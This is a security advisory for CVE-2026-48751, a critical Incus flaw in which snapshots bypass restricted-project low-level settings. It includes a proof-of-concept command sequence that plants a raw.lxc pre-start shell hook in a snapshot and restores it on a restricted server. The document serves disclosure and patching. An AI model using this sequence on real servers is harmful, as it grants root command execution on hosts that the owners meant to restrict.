criticalCVSS 9.9Vulnerability

CVE-2026-48751

### Summary Instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`. ### Details Instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`. As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution. In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges. ### PoC ``` # remote, restricted incus project set rem:project restricted.true incus project set rem:project restricted.containers.lowlevel=block # locally, unrestricted project incus init images:debian/trixie rce-raw-lxc incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"' incus snapshot create rce-raw-lxc snap0 #> allow transfer to restricted project incus config unset rce-raw-lxc raw.lxc # locally, transfer and trigger incus move rce-raw-lxc rem: --mode push incus snapshot restore rem:rce-raw-lxc snap0 incus start rem:rce-raw-lxc ``` ### Impact - Bypass of project restrictions. - Arbitrary command execution on the Incus server.

Properties

ghsa_id
GHSA-48q5-w887-33wv
severity
critical
summary
Incus has a restricted project bypass leading to arbitrary command execution
cvss_score
9.9
cve_id
CVE-2026-48751
cvss_vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
is_ghsa_only
false
ghsa_published
2026-06-26T18:33:55Z
source_url
https://github.com/advisories/GHSA-48q5-w887-33wv
ghsa_updated
2026-06-26T18:33:56Z

Related Entities (4)

REPORTED_BY (1)

[Source]GitHub Advisory Database

VULNERABLE_TO (1)

[Software]go/github.com/lxc/incus/v7/cmd/incusd

AFFECTS (1)

[Software]go/github.com/lxc/incus/v7/cmd/incusd

HAS_WEAKNESS (1)

[Weakness]Missing Authorization

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